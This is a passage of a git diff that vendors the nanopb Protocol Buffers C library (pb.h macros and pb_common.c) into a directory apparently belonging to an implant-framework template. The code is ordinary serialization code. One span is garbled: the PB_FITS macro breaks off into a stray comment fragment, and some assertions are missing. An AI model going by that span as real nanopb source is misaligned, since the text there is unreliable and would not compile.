PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_ASSERT_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_DATA_OFFSET_STATIC(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_POINTER(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_CALLBACK(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DO_PB_HTYPE_REQUIRED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_SINGULAR(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_ONEOF(structname, fieldname) offsetof(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DO_PB_HTYPE_OPTIONAL(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_REPEATED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_FIXARRAY(structname, fieldname) offsetof(structname, fieldname) + +#define PB_SIZE_OFFSET_STATIC(htype, structname, fieldname) PB_SO ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_POINTER(htype, structname, fieldname) PB_SO_PTR ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_CALLBACK(htype, structname, fieldname) PB_SO_CB ## htype(structname, fieldname) +#define PB_SO_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF2(structname, PB_ONEOF_NAME(FULL, fieldname), PB_ONEOF_NAME(UNION, fieldname)) +#define PB_SO_PB_HTYPE_ONEOF2(structname, fullname, unionname) PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) +#define PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) pb_delta(structname, fullname, which_ ## unionname) +#define PB_SO_PB_HTYPE_OPTIONAL(structname, fieldname) pb_delta(structname, fieldname, has_ ## fieldname) +#define PB_SO_PB_HTYPE_REPEATED(structname, fieldname) pb_delta(structname, fieldname, fieldname ## _count) +#define PB_SO_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REPEATED(structname, fieldname) PB_SO_PB_HTYPE_REPEATED(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_CB_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REPEATED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_FIXARRAY(structname, fieldname) 0 + +#define PB_ARRAY_SIZE_STATIC(htype, structname, fieldname) PB_AS ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_POINTER(htype, structname, fieldname) PB_AS_PTR ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_CALLBACK(htype, structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REPEATED(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_REPEATED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname[0]) + +#define PB_DATA_SIZE_STATIC(htype, structname, fieldname) PB_DS ## htype(structname, fieldname) +#define PB_DATA_SIZE_POINTER(htype, structname, fieldname) PB_DS_PTR ## htype(structname, fieldname) +#define PB_DATA_SIZE_CALLBACK(htype, structname, fieldname) PB_DS_CB ## htype(structname, fieldname) +#define PB_DS_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)[0]) +#define PB_DS_PTR_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0][0]) +#define PB_DS_CB_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_CB_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname) + +#define PB_ONEOF_NAME(type, tuple) PB_EXPAND(PB_ONEOF_NAME_ ## type tuple) +#define PB_ONEOF_NAME_UNION(unionname,membername,fullname) unionname +#define PB_ONEOF_NAME_MEMBER(unionname,membername,fullname) membername +#define PB_ONEOF_NAME_FULL(unionname,membername,fullname) fullname + +#define PB_GEN_SUBMSG_INFO(structname, atype, htype, ltype, fieldname, tag) \ + PB_SUBMSG_INFO_ ## htype(_PB_LTYPE_ ## ltype, structname, fieldname) + +#define PB_SUBMSG_INFO_REQUIRED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_SINGULAR(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_OPTIONAL(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_ONEOF(ltype, structname, fieldname) PB_SUBMSG_INFO_ONEOF2(ltype, structname, PB_ONEOF_NAME(UNION, fieldname), PB_ONEOF_NAME(MEMBER, fieldname)) +#define PB_SUBMSG_INFO_ONEOF2(ltype, structname, unionname, membername) PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) +#define PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) PB_SI ## ltype(structname ## _ ## unionname ## _ ## membername ## _MSGTYPE) +#define PB_SUBMSG_INFO_REPEATED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_FIXARRAY(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SI_PB_LTYPE_BOOL(t) +#define PB_SI_PB_LTYPE_BYTES(t) +#define PB_SI_PB_LTYPE_DOUBLE(t) +#define PB_SI_PB_LTYPE_ENUM(t) +#define PB_SI_PB_LTYPE_UENUM(t) +#define PB_SI_PB_LTYPE_FIXED32(t) +#define PB_SI_PB_LTYPE_FIXED64(t) +#define PB_SI_PB_LTYPE_FLOAT(t) +#define PB_SI_PB_LTYPE_INT32(t) +#define PB_SI_PB_LTYPE_INT64(t) +#define PB_SI_PB_LTYPE_MESSAGE(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_MSG_W_CB(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_SFIXED32(t) +#define PB_SI_PB_LTYPE_SFIXED64(t) +#define PB_SI_PB_LTYPE_SINT32(t) +#define PB_SI_PB_LTYPE_SINT64(t) +#define PB_SI_PB_LTYPE_STRING(t) +#define PB_SI_PB_LTYPE_UINT32(t) +#define PB_SI_PB_LTYPE_UINT64(t) +#define PB_SI_PB_LTYPE_EXTENSION(t) +#define PB_SI_PB_LTYPE_FIXED_LENGTH_BYTES(t) +#define PB_SUBMSG_DESCRIPTOR(t) &(t ## _msg), + +/* The field descriptors use a variable width format, with width of either + * 1, 2, 4 or 8 of 32-bit words. The two lowest bytes of the first byte always + * encode the descriptor size, 6 lowest bits of field tag number, and 8 bits + * of the field type. + * + * Descriptor size is encoded as 0 = 1 word, 1 = 2 words, 2 = 4 words, 3 = 8 words. + * + * Formats, listed starting with the least significant bit of the first word. + * 1 word: [2-bit len] [6-bit tag] [8-bit type] [8-bit data_offset] [4-bit size_offset] [4-bit data_size] + * + * 2 words: [2-bit len] [6-bit tag] [8-bit type] [12-bit array_size] [4-bit size_offset] + * [16-bit data_offset] [12-bit data_size] [4-bit tag>>6] + * + * 4 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit array_size] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * + * 8 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit reserved] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * [32-bit array_size] + * [32-bit reserved] + * [32-bit reserved] + * [32-bit reserved] + */ + +#define PB_FIELDINFO_1(tag, type, data_offset, data_size, size_offset, array_size) \ + (0 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(data_offset) & 0xFF) << 16) | \ + (((uint32_t)(size_offset) & 0x0F) << 24) | (((uint32_t)(data_size) & 0x0F) << 28)), + +#define PB_FIELDINFO_2(tag, type, data_offset, data_size, size_offset, array_size) \ + (1 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFF) << 16) | (((uint32_t)(size_offset) & 0x0F) << 28)), \ + (((uint32_t)(data_offset) & 0xFFFF) | (((uint32_t)(data_size) & 0xFFF) << 16) | (((uint32_t)(tag) & 0x3c0) << 22)), + +#define PB_FIELDINFO_4(tag, type, data_offset, data_size, size_offset, array_size) \ + (2 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFFF) << 16)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), + +#define PB_FIELDINFO_8(tag, type, data_offset, data_size, size_offset, array_size) \ + (3 | (((tag) << 2) & 0xFF) | ((type) << 8)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), (array_size), 0, 0, 0, + +/* These assertions verify that the field information fits in the allocated space. + * The generator tries to automatically determine the correct width that can fit all + * data associated with a message. These asserts will fail only if there has been a + * problem in the automatic logic - this may be worth reporting as a bug. As a workaround, + * you can increase the descriptor width by defining PB_FIELDINFO_WIDTH or by setting + * descriptorsize option in .options file. + */ +#define PB_FITS(value,bits) ((uint32_t)(value) < ((uint32_t)1<2GB messages with nanopb anyway. + */ +#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag) + +#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,31), FIELDINFO_DOES_NOT_FIT_width8_field ## tag) +#endif + + +/* Automatic picking of FIELDINFO width: + * Uses width 1 when possible, otherwise resorts to width 2. + * This is used when PB_BIND() is called with "AUTO" as the argument. + * The generator will give explicit size argument when it knows that a message + * structure grows beyond 1-word format limits. + */ +#define PB_FIELDINFO_WIDTH_AUTO(atype, htype, ltype) PB_FI_WIDTH ## atype(htype, ltype) +#define PB_FI_WIDTH_PB_ATYPE_STATIC(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_POINTER(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_CALLBACK(htype, ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_REQUIRED(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_SINGULAR(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_OPTIONAL(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_ONEOF(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_REPEATED(ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_FIXARRAY(ltype) 2 +#define PB_FI_WIDTH_PB_LTYPE_BOOL 1 +#define PB_FI_WIDTH_PB_LTYPE_BYTES 2 +#define PB_FI_WIDTH_PB_LTYPE_DOUBLE 1 +#define PB_FI_WIDTH_PB_LTYPE_ENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_UENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_FLOAT 1 +#define PB_FI_WIDTH_PB_LTYPE_INT32 1 +#define PB_FI_WIDTH_PB_LTYPE_INT64 1 +#define PB_FI_WIDTH_PB_LTYPE_MESSAGE 2 +#define PB_FI_WIDTH_PB_LTYPE_MSG_W_CB 2 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_STRING 2 +#define PB_FI_WIDTH_PB_LTYPE_UINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_UINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_EXTENSION 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED_LENGTH_BYTES 2 + +/* The mapping from protobuf types to LTYPEs is done using these macros. */ +#define PB_LTYPE_MAP_BOOL PB_LTYPE_BOOL +#define PB_LTYPE_MAP_BYTES PB_LTYPE_BYTES +#define PB_LTYPE_MAP_DOUBLE PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_ENUM PB_LTYPE_VARINT +#define PB_LTYPE_MAP_UENUM PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_FIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_FIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_FLOAT PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_INT32 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_INT64 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_MESSAGE PB_LTYPE_SUBMESSAGE +#define PB_LTYPE_MAP_MSG_W_CB PB_LTYPE_SUBMSG_W_CB +#define PB_LTYPE_MAP_SFIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_SFIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_SINT32 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_SINT64 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_STRING PB_LTYPE_STRING +#define PB_LTYPE_MAP_UINT32 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_UINT64 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_EXTENSION PB_LTYPE_EXTENSION +#define PB_LTYPE_MAP_FIXED_LENGTH_BYTES PB_LTYPE_FIXED_LENGTH_BYTES + +/* These macros are used for giving out error messages. + * They are mostly a debugging aid; the main error information + * is the true/false return value from functions. + * Some code space can be saved by disabling the error + * messages if not used. + * + * PB_SET_ERROR() sets the error message if none has been set yet. + * msg must be a constant string literal. + * PB_GET_ERROR() always returns a pointer to a string. + * PB_RETURN_ERROR() sets the error and returns false from current + * function. + */ +#ifdef PB_NO_ERRMSG +#define PB_SET_ERROR(stream, msg) PB_UNUSED(stream) +#define PB_GET_ERROR(stream) "(errmsg disabled)" +#else +#define PB_SET_ERROR(stream, msg) (stream->errmsg = (stream)->errmsg ? (stream)->errmsg : (msg)) +#define PB_GET_ERROR(stream) ((stream)->errmsg ? (stream)->errmsg : "(none)") +#endif + +#define PB_RETURN_ERROR(stream, msg) return PB_SET_ERROR(stream, msg), false + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#ifdef __cplusplus +#if __cplusplus >= 201103L +#define PB_CONSTEXPR constexpr +#else // __cplusplus >= 201103L +#define PB_CONSTEXPR +#endif // __cplusplus >= 201103L + +#if __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR inline constexpr +#else // __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR PB_CONSTEXPR +#endif // __cplusplus >= 201703L + +extern "C++" +{ +namespace nanopb { +// Each type will be partially specialized by the generator. +template struct MessageDescriptor; +} // namespace nanopb +} +#endif /* __cplusplus */ + +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.c b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.c new file mode 100644 index 0000000..6aee76b --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_common.c @@ -0,0 +1,388 @@ +/* pb_common.c: Common support functions for pb_encode.c and pb_decode.c. + * + * 2014 Petteri Aimonen + */ + +#include "pb_common.h" + +static bool load_descriptor_values(pb_field_iter_t *iter) +{ + uint32_t word0; + uint32_t data_offset; + int_least8_t size_offset; + + if (iter->index >= iter->descriptor->field_count) + return false; + + word0 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + iter->type = (pb_type_t)((word0 >> 8) & 0xFF); + + switch(word0 & 3) + { + case 0: { + /* 1-word format */ + iter->array_size = 1; + iter->tag = (pb_size_t)((word0 >> 2) & 0x3F); + size_offset = (int_least8_t)((word0 >> 24) & 0x0F); + data_offset = (word0 >> 16) & 0xFF; + iter->data_size = (pb_size_t)((word0 >> 28) & 0x0F); + break; + } + + case 1: { + /* 2-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + + iter->array_size = (pb_size_t)((word0 >> 16) & 0x0FFF); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 28) << 6)); + size_offset = (int_least8_t)((word0 >> 28) & 0x0F); + data_offset = word1 & 0xFFFF; + iter->data_size = (pb_size_t)((word1 >> 16) & 0x0FFF); + break; + } + + case 2: { + /* 4-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + + iter->array_size = (pb_size_t)(word0 >> 16); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + + default: { + /* 8-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + uint32_t word4 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 4]); + + iter->array_size = (pb_size_t)word4; + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + } + + if (!iter->message) + { + /* Avoid doing arithmetic on null pointers, it is undefined */ + iter->pField = NULL; + iter->pSize = NULL; + } + else + { + iter->pField = (char*)iter->message + data_offset; + + if (size_offset) + { + iter->pSize = (char*)iter->pField - size_offset; + } + else if (PB_HTYPE(iter->type) == PB_HTYPE_REPEATED && + (PB_ATYPE(iter->type) == PB_ATYPE_STATIC || + PB_ATYPE(iter->type) == PB_ATYPE_POINTER)) + { + /* Fixed count array */ + iter->pSize = &iter->array_size; + } + else + { + iter->pSize = NULL; + } + + if (PB_ATYPE(iter->type) == PB_ATYPE_POINTER && iter->pField != NULL) + { + iter->pData = *(void**)iter->pField; + } + else + { + iter->pData = iter->pField; + } + } + + if (PB_LTYPE_IS_SUBMSG(iter->type)) + { + iter->submsg_desc = iter->descriptor->submsg_info[iter->submessage_index]; + } + else + { + iter->submsg_desc = NULL; + } + + return true; +} + +static void advance_iterator(pb_field_iter_t *iter) +{ + iter->index++; + + if (iter->index >= iter->descriptor->field_count) + { + /* Restart */ + iter->index = 0; + iter->field_info_index = 0; + iter->submessage_index = 0; + iter->required_field_index = 0; + } + else + { + /* Increment indexes based on previous field type. + * All field info formats have the following fields: + * - lowest 2 bits tell the amount of words in the descriptor (2^n words) + * - bits 2..7 give the lowest bits of tag number. + * - bits 8..15 give the field type. + */ + uint32_t prev_descriptor = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + pb_type_t prev_type = (prev_descriptor >> 8) & 0xFF; + pb_size_t descriptor_len = (pb_size_t)(1 << (prev_descriptor & 3)); + + /* Add to fields. + * The cast to pb_size_t is needed to avoid -Wconversion warning. + * Because the data is is constants from generator, there is no danger of overflow. + */ + iter->field_info_index = (pb_size_t)(iter->field_info_index + descriptor_len); + iter->required_field_index = (pb_size_t)(iter->required_field_index + (PB_HTYPE(prev_type) == PB_HTYPE_REQUIRED)); + iter->submessage_index = (pb_size_t)(iter->submessage_index + PB_LTYPE_IS_SUBMSG(prev_type)); + } +} + +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message) +{ + memset(iter, 0, sizeof(*iter)); + + iter->descriptor = desc; + iter->message = message; + + return load_descriptor_values(iter); +} + +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension) +{ + const pb_msgdesc_t *msg = (const pb_msgdesc_t*)extension->type->arg; + bool status; + + uint32_t word0 = PB_PROGMEM_READU32(msg->field_info[0]); + if (PB_ATYPE(word0 >> 8) == PB_ATYPE_POINTER) + { + /* For pointer extensions, the pointer is stored directly + * in the extension structure. This avoids having an extra + * indirection. */ + status = pb_field_iter_begin(iter, msg, &extension->dest); + } + else + { + status = pb_field_iter_begin(iter, msg, extension->dest); + } + + iter->pSize = &extension->found; + return status; +} + +bool pb_field_iter_next(pb_field_iter_t *iter) +{ + advance_iterator(iter); + (void)load_descriptor_values(iter); + return iter->index != 0; +} + +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag) +{ + if (iter->tag == tag) + { + return true; /* Nothing to do, correct field already. */ + } + else if (tag > iter->descriptor->largest_tag) + { + return false; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + if (tag < iter->tag) + { + /* Fields are in tag number order, so we know that tag is between + * 0 and our start position. Setting index to end forces + * advance_iterator() call below to restart from beginning. */ + iter->index = iter->descriptor->field_count; + } + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for tag number match */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (((fieldinfo >> 2) & 0x3F) == (tag & 0x3F)) + { + /* Good candidate, check further */ + (void)load_descriptor_values(iter); + + if (iter->tag == tag && + PB_LTYPE(iter->type) != PB_LTYPE_EXTENSION) + { + /* Found it */ + return true; + } + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +bool pb_field_iter_find_extension(pb_field_iter_t *iter) +{ + if (PB_LTYPE(iter->type) == PB_LTYPE_EXTENSION) + { + return true; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for field type */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (PB_LTYPE((fieldinfo >> 8) & 0xFF) == PB_LTYPE_EXTENSION) + { + return load_descriptor_values(iter); + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +static void *pb_const_cast(const void *p) +{ + /* Note: this casts away const, in order to use the common field iterator + * logic for both encoding and decoding. The cast is done using union + * to avoid spurious compiler warnings. */ + union { + void *p1; + const void *p2; + } t; + t.p2 = p; + return t.p1; +} + +bool pb_field_iter_begin_const(pb_field_iter_t *iter, const pb_msgdesc_t *desc, const void *message) +{ + return pb_field_iter_begin(iter, desc, pb_const_cast(message)); +} + +bool pb_field_iter_begin_extension_const(pb_field_iter_t *iter, const pb_extension_t *extension) +{ + return pb_field_iter_begin_extension(iter, (pb_extension_t*)pb_const_cast(extension)); +} + +bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field) +{ + if (field->data_size == sizeof(pb_callback_t)) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + + if (pCallback != NULL) + { + if (istream != NULL && pCallback->funcs.decode != NULL) + { + return pCallback->funcs.decode(istream, field, &pCallback->arg); + } + + if (ostream != NULL && pCallback->funcs.encode != NULL) + { + return pCallback->funcs.encode(ostream, field, &pCallback->arg); + } + } + } + + return true; /* Success, but didn't do anything */ + +} + +#ifdef PB_VALIDATE_UTF8 + +/* This function checks whether a string is valid UTF-8 text. + * + * Algorithm is adapted from https://www.cl.cam.ac.uk/~mgk25/ucs/utf8_check.c + * Original copyright: Markus Kuhn 2005-03-30 + * Licensed under "Short code license", which allows use under MIT license or + * any compatible with it. + */ + +bool pb_validate_utf8(const char *str) +{ + const pb_byte_t *s = (const pb_byte_t*)str; + while (*s) + { + if (*s < 0x80) + { + /* 0xxxxxxx */ + s++; + } + else if ((s[0] & 0xe0) == 0xc0) + { + /* 110XXXXx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[0] & 0xfe) == 0xc0) /* overlong? */ + return false; + else + s += 2; + } + else if ((s[0] & 0xf0) == 0xe0) + { + /* 1110XXXX 10Xxxxxx 10xxxxxx */ + if ((s[1] & 0xc0) != 0x80 || + (s[2] & 0xc0) != 0x80 || + (s[0] == 0xe0 && (s[1] & 0xe0) == 0x80) || /* overlong? */ + (s[0] == 0xed && (s[1] & 0xe0) == 0xa0) || /* surrogate? */ + (s[0] == 0xef && s[1] == 0xbf && + (s[2] & 0xfe) == 0xbe)) /* U+FFFE or U+FFFF? */ + return false; + else + s += 3; + } + else if ((s[0] & 